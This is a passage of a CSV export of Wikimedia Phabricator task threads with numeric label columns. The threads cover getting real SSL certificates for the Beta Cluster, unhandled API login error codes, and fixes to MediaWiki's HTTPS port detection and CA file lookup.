+",Medium,50.0,1416945452,1457835464.0,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_description,invalid,True,c3,1,True,False,False,-32,True,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1
+982514,Setup real ssl certs for Beta Cluster using a restricted project,T182927 has been opened,,,1513299761,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,3,True,,,128,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+628749,Setup real ssl certs for Beta Cluster using a restricted project,"> we shouldn't wait on that (""Arriving Summer 2015"")
+
+With summer *2016* fast approaching, I think it's time to scrap this plan and just go with Let's Encrypt.
+Here are some older tickets on the subject: {T50501}, {T70387} - can we close this in favour of one of them?
+This ticket is much newer but we can't do anything with it because it's restricted access: {T97593}
+(I'm going to get that restricted ticket either made public or closed.)",,,1457834397,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,3,True,,,36,True,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1
+624617,Setup real ssl certs for Beta Cluster using a restricted project,letsencrypt.org is now available but in beta mode.,,,1457369835,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+333557,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#788525, @chasemp wrote:
+> I can understand greg's point, but this is pretty much standard for Dev QA.  Either way it will not be really secure but the cost and process of treating beta lab certs the same as production never seems to add up.
+
+We'll probably need to figure it out at some point as UX/Design/Product/etc want to do more user testing on dev environments. Maybe that use-case is better handled by a non-Beta Cluster labs instance (so covered by *.wmflabs.org) though.",,,1417021157,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1
+333554,Setup real ssl certs for Beta Cluster using a restricted project,Self-signed SSL certificate chains have historically been a huge pain for automated browser testing. @Cmcmahon has pointed this out elsewhere I think.,,,1417021042,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+333545,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#788221, @hashar wrote:
+>>>! In T75919#786302, @greg wrote:
+>>>>! In T75919#786292, @hashar wrote:
+>>> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
+>> 
+>> Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
+>> 
+>> Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).
+> 
+> What is the issue with end users? If we use the `Labs CA` authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain.  That is what we had originally. I looked at my browser keychain  and I still have:
+> 
+> ```
+> Cert name: Labs CA
+> Sha1 fingerprint: 23 63 65 50 93 24 C4 B5 2A BB 24 C6 85 79 BE 3A BE E5 52 9E
+> Trusted for:
+> - en.wikipedia.beta.wmflabs.org
+> - bits.wikipedia.beta.wmflabs.org
+> - upload.wikimedia.beta.wmflabs.org
+> ```
+> 
+> We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private.
+
+I can understand greg's point, but this is pretty much standard for Dev QA.  Either way it will not be really secure but the cost and process of treating beta lab certs the same as production never seems to add up.",,,1417020324,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+333525,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#788221, @hashar wrote:
+>>>! In T75919#786302, @greg wrote:
+>>>>! In T75919#786292, @hashar wrote:
+>>> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
+>> 
+>> Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
+>> 
+>> Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).
+> 
+> What is the issue with end users? If we use the `Labs CA` authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain. 
+
+Right, and when someone wants a random user to do a quick user test on Beta Cluster, that's a show stopper.
+
+> We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private.
+
+And only helps those who know where to look before hand. I want a solution that will cause the least amount of friction to the average drive by contributor as possible.
+
+",,,1417017229,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+333521,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#786302, @greg wrote:
+>>>! In T75919#786292, @hashar wrote:
+>> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
+> 
+> Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
+> 
+> Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).
+
+What is the issue with end users? If we use the `Labs CA` authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain.  That is what we had originally. I looked at my browser keychain  and I still have:
+
+```
+Cert name: Labs CA
+Sha1 fingerprint: 23 63 65 50 93 24 C4 B5 2A BB 24 C6 85 79 BE 3A BE E5 52 9E
+Trusted for:
+- en.wikipedia.beta.wmflabs.org
+- bits.wikipedia.beta.wmflabs.org
+- upload.wikimedia.beta.wmflabs.org
+```
+
+We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private.",,,1417015891,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+333520,Setup real ssl certs for Beta Cluster using a restricted project,"I'll also note that from a security perspective, since people without NDA *had* root in the past, it would've been trivial for them to acquire sudo again by, uh, planning ahead when they had root (not that I think anyone would have :)). So while still somewhat solid, without re-generating all the machines we can not be completely sure that there are no root exploits :)
+
+As I said, being liberal with sudo and being closer to prod are conflicting requirements, and we've to pick one or the other :)",,,1417015567,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+333519,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#785867, @yuvipanda wrote:
+> Can't actually use dynamicproxy, since the cert there is just for *.wmflabs.org. Also, this terminator could be much simpler, since all it needs to do is forward it to the existing deployment-prep setup, without any dynamic routing.
+
+Additionally that will bypass the nginx protocol proxy we have set up on beta which are build using the manifests using in production. Ie beta cluster will vary with production.",,,1417015411,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,0,1
+333362,Setup real ssl certs for Beta Cluster using a restricted project,"Consider three things we want beta to have:
+
+# Same as prod (including SSL Certs)
+# sudo for as many people as possible
+
+They're incompatible, since as *few* people as possible have sudo in prod. Right now we've something akin to worst of both worlds - sudo is restricted, and we have no SSL. Doing this the same as prod sacrifices some things from (1) but gains us other things from (1) (ssl), and gives us (2). I'd say worth it.",,,1416988123,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0
+333200,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#786292, @hashar wrote:
+> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
+
+Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
+
+Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).",,,1416955692,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+333198,Setup real ssl certs for Beta Cluster using a restricted project,"I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
+
+>>! In T50501#527288, @hashar wrote:
+> Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.
+> 
+> I would do it myself if I had access to the 'Labs CA'.
+
+Ryan Lane echoed:
+
+>>! In T50501#527329, @bzimport wrote:
+> **rlane32** wrote:
+> 
+> Has anyone considered creating a CA (http://pages.cs.wisc.edu/~zmiller/ca-howto/), generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?
+> 
+> I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep...
+
+
+I kind of stopped following the bug after that.  
+
+
+There is some doc at: https://github.com/nicolaepetridean/sauceLabsTry/wiki/Test-systems-with-self-signed-certificates
+
+https://web.archive.org/web/20121231011833/http://saucelabs.com/docs/https seems to mention SauceOndemand supports self signed.
+
+And there is some more doc at https://docs.saucelabs.com/reference/test-configuration/#avoiding-the-selenium-proxy which mention:
+
+> By default, Sauce routes traffic from all Selenium RC and some WebDriver browsers through the Selenium HTTP proxy server so that HTTPS connections with self-signed certificates work everywhere. 
+
+
+So to me, this task is a dupe of T50501 and we should get a task to investigate usage of Sauce with self signed certificate.  Then we can avoid throwing money at some SSL authority and will not have to figure out a policy to avoid having the certs leaked.
+
+My 0.02 €",,,1416955473,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+333137,Setup real ssl certs for Beta Cluster using a restricted project,"Can't actually use dynamicproxy, since the cert there is just for *.wmflabs.org. Also, this terminator could be much simpler, since all it needs to do is forward it to the existing deployment-prep setup, without any dynamic routing.",,,1416948783,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+333132,Setup real ssl certs for Beta Cluster using a restricted project,"> make new labs project, restrict access a lot
+
+The only downside I see for this plan is that it becomes ""yet another way that beta is not like production."" Other than that I think it should nicely solve the rest of the problems.
+
+A similar but slightly different approach would be to use YuviProxy™ to terminate the ssl for beta. That would keep the private keys in Ops hands and only make the beta/prod difference that the nginx instances in beta never see TLS traffic.",,,1416947833,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+75539,Unhandled API login error codes,"The login has many error codes which are unhandled.
+
+http://www.wikia.com/api.php?format=jsonfm&modules=login&action=paraminfo
+
+Bug 73533 will handle the most critical ones, however the others need to be handled, and that will require more detailed analysis.
+
+For example, 'Blocked', found in 1.19 paraminfo.
+
+The API allows blocked users to login, but prevents them from editing, etc.  Therefore, API login error code 'Blocked' may not needed in modern API usage.
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=73533",Medium,50.0,1416271380,1665558256.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-uvwdkrzpnvxiknkzvmsw,task_description,resolved,True,c3,1,True,False,False,-33,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1
+1999059,Unhandled API login error codes,Seems this task is no longer valid,,,1665558256,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-uvwdkrzpnvxiknkzvmsw,task_subcomment,,True,c3,3,True,,,379,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+75510,Role https does not properly set $wgServer,"Symptom: With a fresh MediaWiki-Vagrant with the https role, the resources (JS+CSS) are not loaded over HTTPS because the $wgServer variable is set to WebRequest::detectServer() in /vagrant/settings.d/wiki/CommonSettings.php (see bug 66399).
+
+Explaination: The HTTPS is performed using nginx as a reverse proxy, and the function WebRequest::detectServer() assume in this case the HTTPS port is standard (443) instead of 4430 in MediaWiki-Vagrant ($wgServer = 'https://127.0.0.1').
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70964",Medium,50.0,1416218400,1435158939.0,PHID-USER-2nopae2cxuamwcbndaih,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-jtu44n22gzfjbkj747yp,task_description,resolved,True,c3,1,False,False,True,-33,True,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+517281,Role https does not properly set $wgServer,"It only seems to work through the host machine port forward though, not when one vagrant box is connecting to the other.",,,1440923167,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+480779,Role https does not properly set $wgServer,A stock vagrant VM should now have its https role work out of the box.,,,1435158939,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+480326,Role https does not properly set $wgServer,"Change 220074 merged by jenkins-bot:
+HTTPS role should set wgAssumeProxiesUseDefaultProtocolPorts to false
+
+[[https://gerrit.wikimedia.org/r/220074]]",,,1435092909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+479672,Role https does not properly set $wgServer,"Change 220074 had a related patch set uploaded (by Gilles):
+HTTPS role should set wgAssumeProxiesUseDefaultProtocolPorts to false
+
+[[https://gerrit.wikimedia.org/r/220074]]
+",,,1435041434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+479526,Role https does not properly set $wgServer,"* https://gerrit.wikimedia.org/r/219901 (branch master): #mw1.26, #mw1.26wmf11
+",,,1435014040,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+479472,Role https does not properly set $wgServer,"Change 219901 merged by jenkins-bot:
+Make proxy behaviour of detectServer() configurable
+
+[[https://gerrit.wikimedia.org/r/219901]]",,,1435010408,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+479265,Role https does not properly set $wgServer,"Change 219901 had a related patch set uploaded (by Gilles):
+Make proxy behaviour of detectServer() configurable
+
+[[https://gerrit.wikimedia.org/r/219901]]
+",,,1434999559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+479249,Role https does not properly set $wgServer,"Given that we're now all https and all, it seems like our https role should work!",,,1434998407,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+324741,Role https does not properly set $wgServer,"It could be used the config variable $wgHttpsPort introduced in bug 65184: in WebRequest::detectServer(), in the case of HTTPS behind a reverse proxy, use $wgHttpsPort (default is obviously 443).
+
+This solution should be double-checked since it would impact Wikimedia servers.",,,1416219367,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+75203,PhpHttpRequest requires a certificate repository,"When I activated $wgInstantCommons on my fresh computer without php-curl (so MW used PhpHttpRequest to download data from Commons), it didn’t work until I specified the caInfo option in PhpHttpRequest (to /etc/ssl/certs, Ubuntu 14.04).
+
+(Then I experienced bug 73199 but this is not directly linked.)
+
+It would be nice if this piece of code could automatically find the certificate repository file or directory. Perhaps some magic value make PHP automatically find the default cert repo of the system or perhaps it works on some couple (PHP version, Operating System).
+
+Else I don’t see other solutions than specifing default cert repo for major OS (I know, it would be a pain to maintain it). Or another option would be to even remove all HTTPS-related code in PhpHttpRequest and require CURL for HTTPS.
+
+Before changing anything, it would be great to see this is bug is widely experienced on various platforms (PHP+OS) or if it is only an isolated case.
+
+--------------------------
+**Version**: 1.25-git
+**Severity**: normal",Medium,50.0,1415554620,1441933155.0,PHID-USER-2nopae2cxuamwcbndaih,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-neaemyzql6ookm3j22rm,task_description,resolved,True,c3,1,False,False,True,-34,True,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+524936,PhpHttpRequest requires a certificate repository,"Change 237002 merged by jenkins-bot:
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/237002]]",,,1441933387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+524932,PhpHttpRequest requires a certificate repository,"Change 237003 merged by jenkins-bot:
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/237003]]",,,1441932877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+524931,PhpHttpRequest requires a certificate repository,"Change 237000 merged by jenkins-bot:
